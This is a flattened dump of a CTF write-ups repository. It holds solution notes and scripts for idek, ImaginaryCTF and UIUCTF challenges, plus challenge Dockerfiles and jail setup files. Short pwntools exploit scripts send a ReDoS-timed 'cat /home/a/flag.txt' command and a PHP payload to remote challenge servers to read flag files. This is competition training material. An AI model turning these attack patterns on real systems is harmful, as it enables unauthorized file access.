OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/vendor/optimism/ICrossDomainMessenger.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (vendor/optimism/ICrossDomainMessenger.sol) 3 | pragma solidity >0.5.0 <0.9.0; 4 | 5 | /** 6 | * @title ICrossDomainMessenger 7 | */ 8 | interface ICrossDomainMessenger { 9 | /********** 10 | * Events * 11 | **********/ 12 | 13 | event SentMessage(address indexed target, address sender, bytes message, uint256 messageNonce, uint256 gasLimit); 14 | event RelayedMessage(bytes32 indexed msgHash); 15 | event FailedRelayedMessage(bytes32 indexed msgHash); 16 | 17 | /************* 18 | * Variables * 19 | *************/ 20 | 21 | function xDomainMessageSender() external view returns (address); 22 | 23 | /******************** 24 | * Public Functions * 25 | ********************/ 26 | 27 | /** 28 | * Sends a cross domain message to the target messenger. 29 | * @param _target Target contract address. 30 | * @param _message Message to send to the target. 31 | * @param _gasLimit Gas limit for the provided message. 32 | */ 33 | function sendMessage(address _target, bytes calldata _message, uint32 _gasLimit) external; 34 | } 35 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/vendor/optimism/LICENSE: -------------------------------------------------------------------------------- 1 | (The MIT License) 2 | 3 | Copyright 2020-2021 Optimism 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining 6 | a copy of this software and associated documentation files (the 7 | "Software"), to deal in the Software without restriction, including 8 | without limitation the rights to use, copy, modify, merge, publish, 9 | distribute, sublicense, and/or sell copies of the Software, and to 10 | permit persons to whom the Software is furnished to do so, subject to 11 | the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be 14 | included in all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 20 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, 21 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE 22 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 23 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/vendor/polygon/IFxMessageProcessor.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (vendor/polygon/IFxMessageProcessor.sol) 3 | pragma solidity ^0.8.0; 4 | 5 | interface IFxMessageProcessor { 6 | function processMessageFromRoot(uint256 stateId, address rootMessageSender, bytes calldata data) external; 7 | } 8 | -------------------------------------------------------------------------------- /idek21/I_Love_Snowy_Stegausaurus/README.md: -------------------------------------------------------------------------------- 1 | # I love Snowy Stegausaurus 2 | 3 | When looking at chall.txt, we see weird whitespace charaters on the first few lines: 4 | 5 | ``` 6 | $ head chall.txt | hexdump -C 7 | 00000000 73 6e 6f 77 62 61 6c 6c 09 20 20 20 20 20 09 20 |snowball. . | 8 | 00000010 20 20 20 09 20 20 20 20 20 20 20 09 09 09 20 09 | . ... .| 9 | 00000020 20 20 20 09 20 20 20 0a 73 6e 6f 77 66 6c 61 6b | . .snowflak| 10 | 00000030 65 20 20 20 20 09 20 20 20 20 09 20 20 20 20 20 |e . . | 11 | 00000040 20 09 20 20 20 20 20 09 09 20 20 20 20 20 20 09 | . .. .| 12 | 00000050 20 20 20 20 20 09 20 20 20 09 20 20 0a 73 6e 6f | . . .sno| 13 | 00000060 77 6d 61 6e 20 20 09 20 20 20 20 09 20 20 20 20 |wman . . | 14 | 00000070 20 09 20 20 20 20 09 20 09 20 20 20 09 20 20 20 | . . . . | 15 | 00000080 20 20 20 20 09 20 20 20 20 20 0a 73 6e 6f 77 77 | . .snoww| 16 | 00000090 68 69 74 65 09 20 20 20 20 20 20 20 09 20 20 20 |hite. . | 17 | 000000a0 20 09 20 20 20 20 09 20 09 20 09 20 20 20 20 20 | . . . . | 18 | 000000b0 09 09 20 20 20 20 20 20 0a 73 6e 6f 77 62 61 6c |.. .snowbal| 19 | ``` 20 | 21 | Mostly spaces (0x20) and tabs (0x09). 22 | 23 | Googling a bit on whitespace steganography, we land on https://www.carta.tech/man-pages/man1/stegsnow.1.html 24 | 25 | And another tool allowing to bruteforce the password given a wordlist: https://github.com/0xMohammed/SnowCracker 26 | 27 | ``` 28 | # install stegsnow first 29 | python3 stegsnow.py -f chall.txt -w chall.txt -c 30 | ``` 31 | -------------------------------------------------------------------------------- /idek21/Intro_To_GDB/Intro_to_GDB: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/idek21/Intro_To_GDB/Intro_to_GDB -------------------------------------------------------------------------------- /idek21/Intro_To_GDB/README.md: -------------------------------------------------------------------------------- 1 | # Intro to GDB 2 | 3 | gdb ./Intro_to_GDB 4 | b main 5 | next until call puts 6 | enter AAAAAAAA 7 | next until main+183 (cmp input buffer) 8 | -> read flag in RSP (RSP: 0x7fffffffd890 ("idek{m0m_g3t_th3_c4m3rA!}")) -------------------------------------------------------------------------------- /idek21/Lsten/lsten_closer.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/idek21/Lsten/lsten_closer.so -------------------------------------------------------------------------------- /idek21/Lsten/src.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define FILENAME "flag.txt" 10 | 11 | struct dirent *readdir(DIR *dirp) 12 | { 13 | void* handle = dlopen("libc.so.6",RTLD_LAZY); 14 | if(!handle) { 15 | printf("open failed\n"); 16 | return; 17 | } 18 | struct dirent64 *(*orig_readdir)(DIR *dir); 19 | 20 | orig_readdir = dlsym(handle,"readdir"); 21 | if(!orig_readdir) { 22 | printf("readdir lookup failed\n"); 23 | return; 24 | } 25 | 26 | return orig_readdir(dirp); 27 | } -------------------------------------------------------------------------------- /idek21/Obscure_Old_Register/README.md: -------------------------------------------------------------------------------- 1 | # Obscure Old Register 2 | 3 | We get a hint on a Talon register: 4 | https://m.media-amazon.com/images/I/81qEQFUgFmL._AC_SS350_.jpg 5 | 6 | Given the picture above, and the challenge input: 7 | ``` 8 | 7-1 4-1 4-2 8-1 1 1 1 9 1 8-1 7-1 10 5-2 1 1 1 2 7-1 5-2 1 1 1 5-1 8-2 1 5-2 14 1 1 1 7-2 16-1 14 15 1 1 1 15 11 1 1 1 9 1 8-1 4-2 1 1 1 18-1 11 16-1 1 1 1 16-1 14 4-2 1 1 1 1 1 1 1 14 3 13 7-1 12-1 15 1 1 1 11 13 1 1 1 2 4-2 1 1 1 1 10 10 11 18-1 4-2 4-1 1 1 1 1 15 1 1 1 9 4-2 1 1 1 4-2 6 4-2 6 4-2 6 1 1 1 17-1 11 17-1 1 1 1 9 1 8-1 7-1 10 5-2 1 1 1 2 7-1 5-2 1 1 1 14 15 13 7-1 10 5-2 14 1 1 1 13 4-2 1 8-2 8-2 18-1 1 1 1 7-1 14 1 1 1 1 1 1 1 2 16-1 9 9 4-2 13 1 1 1 2 16-1 15 1 1 1 11 6 1 1 1 17-1 4-2 8-2 8-2 1 1 1 7-1 1 1 1 5-2 16-1 4-2 14 14 1 1 1 9 | ``` 10 | 11 | We have the first number going from 1 to 18, and the second being either absent, 1, or 2. 12 | We can then match the first number being the "row" on the register, and the second number being the letter "offset" on that row (or the letter itself when absent). 13 | 14 | ``` 15 | python tallon.py 16 | 17 | IDEKAAAMAKINGAAABIGAAAFLAGSAAAJUSTAAATOAAAMAKEAAAYOUAAAUSEAAAAAAASCRIPTAAAORAAABEAAAANNOYEDAAAATAAAMEAAAEHEHEHAAAWOWAAAMAKINGAAABIGAAASTRINGSAAAREALLYAAAISAAAAAAABUMMERAAABUTAAAOHAAAWELLAAAIAAAGUESSAAA 18 | ``` -------------------------------------------------------------------------------- /idek21/Obscure_Old_Register/tallon.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | seq = "7-1 4-1 4-2 8-1 1 1 1 9 1 8-1 7-1 10 5-2 1 1 1 2 7-1 5-2 1 1 1 5-1 8-2 1 5-2 14 1 1 1 7-2 16-1 14 15 1 1 1 15 11 1 1 1 9 1 8-1 4-2 1 1 1 18-1 11 16-1 1 1 1 16-1 14 4-2 1 1 1 1 1 1 1 14 3 13 7-1 12-1 15 1 1 1 11 13 1 1 1 2 4-2 1 1 1 1 10 10 11 18-1 4-2 4-1 1 1 1 1 15 1 1 1 9 4-2 1 1 1 4-2 6 4-2 6 4-2 6 1 1 1 17-1 11 17-1 1 1 1 9 1 8-1 7-1 10 5-2 1 1 1 2 7-1 5-2 1 1 1 14 15 13 7-1 10 5-2 14 1 1 1 13 4-2 1 8-2 8-2 18-1 1 1 1 7-1 14 1 1 1 1 1 1 1 2 16-1 9 9 4-2 13 1 1 1 2 16-1 15 1 1 1 11 6 1 1 1 17-1 4-2 8-2 8-2 1 1 1 7-1 1 1 1 5-2 16-1 4-2 14 14 1 1 1" 4 | 5 | tallon = [ 6 | "A", 7 | "B", 8 | "C", 9 | "DE", 10 | "FG", 11 | "H", 12 | "IJ", 13 | "KL", 14 | "M", 15 | "N", 16 | "O", 17 | "PQ", 18 | "R", 19 | "S", 20 | "T", 21 | "UV", 22 | "WX", 23 | "YZ", 24 | ] 25 | 26 | for i in seq.split(" "): 27 | j = 0 28 | if "-" in i: 29 | i, j = i.split("-") 30 | j = int(j) - 1 31 | i = int(i) - 1 32 | 33 | row = tallon[int(i)] 34 | print(row[j], end="") 35 | print() 36 | -------------------------------------------------------------------------------- /idek21/Rolling_On_My_Own/deroll.py: -------------------------------------------------------------------------------- 1 | 2 | from pwn import * 3 | import string 4 | 5 | def roll(i): # actually fibo 6 | if (i > 1): 7 | tmp = roll(i-1) 8 | i = roll(i-2) 9 | i = i + tmp 10 | return i 11 | 12 | 13 | # let's try to encrypt know plaintext see what happen 14 | s = b"idek{" 15 | out = b'' 16 | for i in range(0, len(s)): 17 | mod = roll(i) 18 | c = mod + s[i] 19 | enc_char = c + ((c // 6 + (c >> 0x1f) >> 4) - (c >> 0x1f)) * -0x60 + 0x22 20 | out += bytes([enc_char]) 21 | print(out.hex()) # 2b27282f40, looks like flag1 content in big endian, we're on good track 22 | 23 | 24 | # extracted from binary, most probably the flag 25 | flag1 = 0x455d35402f28272b 26 | flag2 = 0x43277c222d58366a 27 | flag3 = 0x5650324666795152 28 | flag4 = 0x5f472c67575b6353 29 | 30 | # flag = p64(flag1) + p64(flag2) + p64(flag3) + p64(flag4) 31 | flag = p64(flag1) + p64(flag2) + p64(flag3) + p64(flag4) 32 | 33 | 34 | out = b'' 35 | for i in range(0, len(flag)): 36 | mod = roll(i) 37 | 38 | expected = flag[i] 39 | for char in string.printable: 40 | c = mod + ord(char) 41 | enc_char = c + ((c // 6 + (c >> 0x1f) >> 4) - (c >> 0x1f)) * -0x60 + 0x22 42 | if enc_char == expected: 43 | out += bytes([ord(char)]) 44 | print(out) 45 | -------------------------------------------------------------------------------- /idek21/Rolling_On_My_Own/nwo_ym_no_gnillor: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/idek21/Rolling_On_My_Own/nwo_ym_no_gnillor -------------------------------------------------------------------------------- /idek21/Shreks_Activities/README.md: -------------------------------------------------------------------------------- 1 | 2 | https://www.instagram.com/p/CW3fXMzL7vC/ 3 | > Hint on twitter #swamplife 4 | 5 | https://twitter.com/SwampEvaluator 6 | 7 | > Mention Sport, Mark Gainey, using same name 8 | 9 | > Shrek Evaluator profile: 10 | https://www.strava.com/athletes/95901300 11 | 12 | > End of flag: y0u_th1nk_1_w4s_d01ng} 13 | 14 | https://twitter.com/SwampEvaluator/status/1465418376562593792 15 | > Mention of "lists" 16 | 17 | https://twitter.com/i/lists/1465418439397416964 18 | > idek{wh4at_d1d_ 19 | 20 | 21 | idek{wh4at_d1d_y0u_th1nk_1_w4s_d01ng} -------------------------------------------------------------------------------- /idek21/Shreks_Lover/README.md: -------------------------------------------------------------------------------- 1 | 2 | We google for "Shrek appendix" and land on: 3 | 4 | https://www.linkedin.com/in/shrek-appendix/ 5 | 6 | From here we get email: shrek4pp3nd1x@gmail.com 7 | 8 | This email lead us to https://github.com/ShrekTheWorkingLikeCrazyGreenThing 9 | 10 | We get some morse code from https://github.com/ShrekTheWorkingLikeCrazyGreenThing/ShrekTheWorkingLikeCrazyGreenThing/blob/main/working.py 11 | 12 | But we need to replace the commas with some spaces: 13 | ``` 14 | -- .- -.-- -... . -.-. .... . -.-. -.- - .... . --- - .... . .-. -.-. --- -- -- .. - ... -.-.-- -. --- - .... .. -. --. - --- ... . . .... . .-. . . -..- -.-. . .--. - -- -.-- .-- --- .-. -.- --..-- .- .-.. ... --- -.. --- -. .----. - - . .-.. .-.. -- -.-- .-- .. ..-. . .- -... --- ..- - ... --- -- . ... - ..- ..-. ..-. -.-- --- ..- -- .. --. .... - ..-. .. -. -.. .-.-.- .-.-.- .-.-.- 15 | ``` 16 | 17 | And this decode to: 18 | 19 | ``` 20 | MAYBECHECKTHEOTHERCOMMITS!NOTHINGTOSEEHEREEXCEPTMYWORK,ALSODON'TTELLMYWIFEABOUTSOMESTUFFYOUMIGHTFIND... 21 | ``` 22 | 23 | So we check the others commits, and in https://github.com/ShrekTheWorkingLikeCrazyGreenThing/ShrekTheWorkingLikeCrazyGreenThing/commit/6116be829fcf8700640eb9aa328d8c49bf128796 we get the flag: 24 | 25 | ``` 26 | idek{l0v3r_1s_st1ll_h3r3_h3lp} 27 | ``` -------------------------------------------------------------------------------- /idek21/Shreks_Lover2/README.md: -------------------------------------------------------------------------------- 1 | 2 | We get initial hint from https://github.com/ShrekTheWorkingLikeCrazyGreenThing/ShrekTheWorkingLikeCrazyGreenThing/commit/e18479ba037de97bb14fc47948e25a4545d07013 3 | 4 | https://www.instagram.com/shrekthegreenswampguy/ 5 | 6 | 7 | > First post hint on iloveshrekappendix profile 8 | https://www.instagram.com/p/CW3fQ-JLcp-/ 9 | https://www.instagram.com/iloveshrekappendix/ 10 | > okinawa swamp hint 11 | 12 | https://www.google.com/search?q=okinawa+swamp&oq=okinawa+swamp&aqs=chrome..69i57.2931j0j1&sourceid=chrome&ie=UTF-8 13 | > iriomote hint 14 | 15 | > insta searcch #okinawairiomotes 16 | https://www.instagram.com/p/CW3iwRBq6MG/ -------------------------------------------------------------------------------- /idek21/Strings/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Strings 3 | 4 | We know that idek write in hex like so: 5 | ``` 6 | echo idek | xxd 7 | 00000000: 6964 656b 0a idek. 8 | ``` 9 | 10 | Looking at the main function in ghidra we see: 11 | 12 | ``` 13 | 0010113d 48 c7 45 MOV qword ptr [RBP + local_10], 0x0 14 | 00101145 c7 45 f4 MOV dword ptr [RBP + local_14], 0x656469 15 | 0010114c c7 45 f0 MOV dword ptr [RBP + local_18], 0x737b6b 16 | 00101153 c7 45 ec MOV dword ptr [RBP + local_1c], 0x315274 17 | 0010115a c7 45 e8 MOV dword ptr [RBP + local_20], 0x73346e 18 | 00101161 c7 45 e4 MOV dword ptr [RBP + local_24], 0x54375f 19 | 00101168 c7 45 e0 MOV dword ptr [RBP + local_28], 0x212157 20 | 0010116f c7 45 dc MOV dword ptr [RBP + local_2c], 0x7d 21 | ``` 22 | 23 | Those hex numbers looks like the flag written backward: 24 | ``` 25 | 0x656469 # edi 26 | 0x737b6b # s{k 27 | 0x315274 28 | 0x73346e 29 | 0x54375f 30 | 0x212157 31 | 0x7d 32 | ``` 33 | 34 | So we just decode it: 35 | 36 | ``` 37 | echo 6964656b7b737452316e34735f37545721217d | xxd -r -p 38 | idek{stR1n4s_7TW!!} 39 | ``` 40 | -------------------------------------------------------------------------------- /idek21/Strings/sgnirts: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/idek21/Strings/sgnirts -------------------------------------------------------------------------------- /idek21/Unfoldable/README.md: -------------------------------------------------------------------------------- 1 | # Unfoldable 2 | 3 | Import fold sample over https://origamisimulator.org/ (found from the link in the fold file: http://git.amandaghassaei.com/OrigamiSimulator/) 4 | 5 | 6 | Import the model, show advanced options and play with the settings: 7 | 8 | - Edge Visibility: 9 | - leave only "Boundary Edges" to only have the flag outlined. 10 | - Fold Percet: 0% 11 | - Numerical Integration: Verlet (this is probably the most important setting to have) 12 | - All other settings on the right close to 0 13 | 14 | The goal is to manage to "unfold" the thing with the flag written in the middle 15 | We can grab some edges and faces with the mouse to try to help the simulation unfolding it. -------------------------------------------------------------------------------- /idek22/phpfu...n/attachments/Dockerfile: -------------------------------------------------------------------------------- 1 | from debian:bullseye 2 | 3 | ARG FLAG=idek{FAKE_FLAG} 4 | 5 | RUN apt update && apt install -y \ 6 | curl \ 7 | socat \ 8 | pkg-config \ 9 | build-essential \ 10 | autoconf \ 11 | bison \ 12 | re2c \ 13 | libxml2-dev \ 14 | libsqlite3-dev \ 15 | libssl-dev \ 16 | libffi-dev \ 17 | && rm -rf /var/lib/apt/lists/* 18 | 19 | RUN curl https://www.php.net/distributions/php-8.2.0.tar.gz > php-8.2.0.tar.gz 20 | RUN echo "435c4c2439db648cdf34236f7cd459f93f943fb788b66723a033610d4a059fc6 php-8.2.0.tar.gz" > php-8.2.0.sig && \ 21 | sha256sum -c php-8.2.0.sig 22 | 23 | RUN tar -xvf php-8.2.0.tar.gz 24 | 25 | WORKDIR /php-8.2.0/ 26 | 27 | RUN ./configure --with-openssl --with-ffi && \ 28 | make -j4 && \ 29 | make install 30 | 31 | WORKDIR / 32 | RUN rm -rf /php-8.2.0/ 33 | 34 | COPY phpfun.sh error_handler.php / 35 | 36 | RUN chmod +x /phpfun.sh && \ 37 | echo "${FLAG}" > /flag.txt && \ 38 | chmod 444 /flag.txt 39 | 40 | RUN useradd ctf 41 | USER ctf 42 | 43 | ENTRYPOINT socat \ 44 | TCP-LISTEN:1337,reuseaddr,fork,end-close \ 45 | EXEC:"/phpfun.sh",pty,ctty,stderr,raw,echo=0 46 | -------------------------------------------------------------------------------- /idek22/phpfu...n/attachments/error_handler.php: -------------------------------------------------------------------------------- 1 | &2 "Invalid payload, only [(,.^')] characters are allowed.";; 8 | (*) 9 | php -d auto_prepend_file=/error_handler.php \ 10 | -d disable_functions="restore_error_handler" \ 11 | -f <(echo -e "") 12 | esac 13 | -------------------------------------------------------------------------------- /idek22/phpfu...n/solution/.gitignore: -------------------------------------------------------------------------------- 1 | PhpFk -------------------------------------------------------------------------------- /idek22/phpfu...n/solution/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copied from challenge Dockerfile 2 | from debian:bullseye 3 | 4 | ARG FLAG=idek{fake-flag-for-testing} 5 | 6 | RUN apt update && apt install -y \ 7 | curl \ 8 | socat \ 9 | pkg-config \ 10 | build-essential \ 11 | autoconf \ 12 | bison \ 13 | re2c \ 14 | libxml2-dev \ 15 | libsqlite3-dev \ 16 | libssl-dev \ 17 | libffi-dev \ 18 | && rm -rf /var/lib/apt/lists/* 19 | 20 | RUN curl https://www.php.net/distributions/php-8.2.0.tar.gz > php-8.2.0.tar.gz 21 | RUN echo "435c4c2439db648cdf34236f7cd459f93f943fb788b66723a033610d4a059fc6 php-8.2.0.tar.gz" > php-8.2.0.sig && \ 22 | sha256sum -c php-8.2.0.sig 23 | 24 | RUN tar -xvf php-8.2.0.tar.gz 25 | 26 | WORKDIR /php-8.2.0/ 27 | 28 | RUN ./configure --with-openssl --with-ffi && \ 29 | make -j4 && \ 30 | make install 31 | -------------------------------------------------------------------------------- /idek22/phpfu...n/solution/solve.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | io = pwn.remote("phpfun.chal.idek.team", 1337) 4 | 5 | payload = open("./bash_82.php", "rb").read() 6 | 7 | # remove newlines and php tags 8 | payload = payload.replace(b"", b"") 9 | 10 | io.sendlineafter(b"Input script: ", payload) 11 | 12 | io.interactive() 13 | 14 | # $ cat /flag.txt 15 | # idek{N3w_v3rs1on_r3qu1re_new_t00lz!} 16 | -------------------------------------------------------------------------------- /idek22/readme/attachments/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.19-alpine 2 | 3 | ENV LISTEN_ADDR=":1337" 4 | ENV FLAG="idek{REDACTED}" 5 | 6 | WORKDIR /app 7 | COPY readme.go . 8 | RUN go build -o readme readme.go 9 | 10 | USER nobody 11 | 12 | CMD "/app/readme" 13 | -------------------------------------------------------------------------------- /imaginary23/temu/redos.py: -------------------------------------------------------------------------------- 1 | 2 | from console import fg 3 | import time 4 | import re 5 | 6 | def fmt(s): 7 | highlights = { 8 | # r"((?<=\W)\d+(?=\W))": fg.yellow, 9 | # r"((['\"]).*?\2)": fg.blue, 10 | # "(" + '|'.join(i for i in Command.valid_commands) + ')': fg.cyan, 11 | r"((/.+)+\.[a-z]{3})": fg.lightmagenta, 12 | # r"((?<=\W)(" + '|'.join(i for i in users) + r')(?<=\W))': fg.purple, 13 | # r"(ictf{.*?})": fg.lightgreen, 14 | # r"(jctf{.*?})": fg.red, 15 | } 16 | 17 | for rx in highlights: 18 | s = re.sub(rx, highlights[rx] + r"\1" + fg.default, s) 19 | return list(s) 20 | 21 | attempts = 10 22 | for i in range(1, 25): 23 | total = 0 24 | cmd = "/aaa"*i 25 | start = time.time() 26 | fmt(cmd) 27 | diff = time.time() - start 28 | print(f"{i}: {cmd} took {diff}s") 29 | -------------------------------------------------------------------------------- /imaginary23/temu/sploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | for i in range(10, 20): 4 | io = remote("temu.chal.imaginaryctf.org", 1337) 5 | io.recvuntil(b">>> ") 6 | cmd = b"login eve\n" + b"cat /home/a/flag.txt " + b"/aaa"*i + b"\n" + b"login alice\n" 7 | print(f"trying cmd {i}: {cmd}") 8 | io.sendline(cmd) 9 | 10 | attempts = 0 11 | while attempts < 5: 12 | out = io.recvuntil(b"ictf", timeout=1) 13 | if out == b'': 14 | print("waiting for flag...") 15 | io.sendline() 16 | attempts += 1 17 | continue 18 | flag = io.recvuntil(b"}") 19 | print("ictf" + flag.decode()) 20 | sys.exit(0) 21 | io.close() -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout.tar.zst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/uiuctf22/Dads_Rules/handout.tar.zst -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout/README: -------------------------------------------------------------------------------- 1 | This directory contains: 2 | 3 | - chal_build: The files used to build the challenge. 4 | - run: Pre-built files in case you want to run the challenge locally. This is 5 | the same copy of the challenge running on the server. 6 | 7 | The actual challenge runs a jail utilizing many Linux namespaces for isolation. 8 | The shell you interact with is inside the jail. There's a somewhat convoluted 9 | dance during the namespace setup; the purpose of that is so the shell you 10 | interact with has all capabilities of its userns, which at the same time also 11 | owns the netns of the jail. This is so you are able to send raw packets to the 12 | network interfaces inside the jail. 13 | 14 | It might be difficult to debug and see what is happening outside the jail, so 15 | an alternative build "nojail" is offered in addition to the "jail" build. You 16 | can inspect what's going on in other netns via `ip netns exec` command in this 17 | build. 18 | 19 | Due to reasons, the pre-built kernel here requires a minimum of QEMU v6.2.0 20 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout/chal_build/0001-ptp_kvm-Silence-initialization-warning.patch: -------------------------------------------------------------------------------- 1 | From 57a316f519e7c96a79bcd07679bafb73d6cecfd1 Mon Sep 17 00:00:00 2001 2 | From: YiFei Zhu 3 | Date: Tue, 14 Jun 2022 13:24:23 -0700 4 | Subject: [PATCH] ptp_kvm: Silence initialization warning 5 | 6 | Not useful. Not sure exactly why it's shown for UIUCTF. 7 | 8 | Signed-off-by: YiFei Zhu 9 | --- 10 | drivers/ptp/ptp_kvm_common.c | 2 -- 11 | 1 file changed, 2 deletions(-) 12 | 13 | diff --git a/drivers/ptp/ptp_kvm_common.c b/drivers/ptp/ptp_kvm_common.c 14 | index fcae32f56f25..e26217026068 100644 15 | --- a/drivers/ptp/ptp_kvm_common.c 16 | +++ b/drivers/ptp/ptp_kvm_common.c 17 | @@ -138,8 +138,6 @@ static int __init ptp_kvm_init(void) 18 | 19 | ret = kvm_arch_ptp_init(); 20 | if (ret) { 21 | - if (ret != -EOPNOTSUPP) 22 | - pr_err("fail to initialize ptp_kvm"); 23 | return ret; 24 | } 25 | 26 | -- 27 | 2.35.1 28 | 29 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout/chal_build/handout-readme: -------------------------------------------------------------------------------- 1 | This directory contains: 2 | 3 | - chal_build: The files used to build the challenge. 4 | - run: Pre-built files in case you want to run the challenge locally. This is 5 | the same copy of the challenge running on the server. 6 | 7 | The actual challenge runs a jail utilizing many Linux namespaces for isolation. 8 | The shell you interact with is inside the jail. There's a somewhat convoluted 9 | dance during the namespace setup; the purpose of that is so the shell you 10 | interact with has all capabilities of its userns, which at the same time also 11 | owns the netns of the jail. This is so you are able to send raw packets to the 12 | network interfaces inside the jail. 13 | 14 | It might be difficult to debug and see what is happening outside the jail, so 15 | an alternative build "nojail" is offered in addition to the "jail" build. You 16 | can inspect what's going on in other netns via `ip netns exec` command in this 17 | build. 18 | 19 | Due to reasons, the pre-built kernel here requires a minimum of QEMU v6.2.0 20 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout/chal_build/init_jail: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2021-2022 Google LLC. 3 | # SPDX-License-Identifier: MIT 4 | 5 | export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 6 | 7 | set -x 8 | 9 | mount -n -t proc -o nosuid,noexec,nodev proc /proc/ 10 | 11 | mkdir -p /dev /sys /etc 12 | 13 | mount -n -t devtmpfs -o mode=0755,nosuid,noexec devtmpfs /dev 14 | mount -n -t sysfs -o nosuid,noexec,nodev sys /sys 15 | mount -n -t tmpfs -o mode=1777 tmpfs /tmp 16 | 17 | if ! mount -n -t 9p flag -o nosuid,noexec,nodev,version=9p2000.L,trans=virtio,msize=104857600 /mnt; then 18 | mount -n -t tmpfs -o nosuid,noexec,nodev tmpfs /mnt 19 | echo 'uiuctf{FAKEFLAG}' > /mnt/flag 20 | fi 21 | 22 | sysctl -qw net.ipv6.conf.all.accept_ra=1 23 | sysctl -qw net.ipv6.conf.default.accept_ra=1 24 | 25 | exec /home/user/jail 26 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout/chal_build/init_nojail: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2021-2022 Google LLC. 3 | # SPDX-License-Identifier: MIT 4 | 5 | export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 6 | 7 | set -x 8 | 9 | mount -n -t proc -o nosuid,noexec,nodev proc /proc/ 10 | 11 | mkdir -p /dev /sys /etc 12 | 13 | mount -n -t devtmpfs -o mode=0755,nosuid,noexec devtmpfs /dev 14 | mount -n -t sysfs -o nosuid,noexec,nodev sys /sys 15 | mount -n -t tmpfs -o mode=1777 tmpfs /tmp 16 | 17 | if ! mount -n -t 9p flag -o nosuid,noexec,nodev,version=9p2000.L,trans=virtio,msize=104857600 /mnt; then 18 | mount -n -t tmpfs -o nosuid,noexec,nodev tmpfs /mnt 19 | echo 'uiuctf{FAKEFLAG}' > /mnt/flag 20 | fi 21 | 22 | sysctl -qw net.ipv6.conf.all.accept_ra=1 23 | sysctl -qw net.ipv6.conf.default.accept_ra=1 24 | 25 | ip netns add jail 26 | . /home/user/setup.sh 27 | 28 | touch /run/netns/init 29 | mount --bind /proc/self/ns/net /run/netns/init 30 | 31 | exec ip netns exec jail setsid bash -l 0<>"/dev/ttyS0" 1>&0 2>&0 32 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout/chal_build/run_jail.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | qemu-system-x86_64 \ 4 | -no-reboot \ 5 | -cpu max \ 6 | -net none \ 7 | -serial stdio \ 8 | -display none \ 9 | -monitor none \ 10 | -vga none \ 11 | -snapshot \ 12 | -initrd initrd_jail \ 13 | -kernel bzImage 14 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout/chal_build/run_nojail.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | qemu-system-x86_64 \ 4 | -no-reboot \ 5 | -cpu max \ 6 | -net none \ 7 | -serial stdio \ 8 | -display none \ 9 | -monitor none \ 10 | -vga none \ 11 | -initrd initrd_nojail \ 12 | -kernel bzImage 13 | -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout/run/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daeMOn63/ctf-writeups/4018fbc0875761a60f6b750e2489da4968765621/uiuctf22/Dads_Rules/handout/run/bzImage -------------------------------------------------------------------------------- /uiuctf22/Dads_Rules/handout/run/initrd_jail: -------------------------------------------------------------------------------- 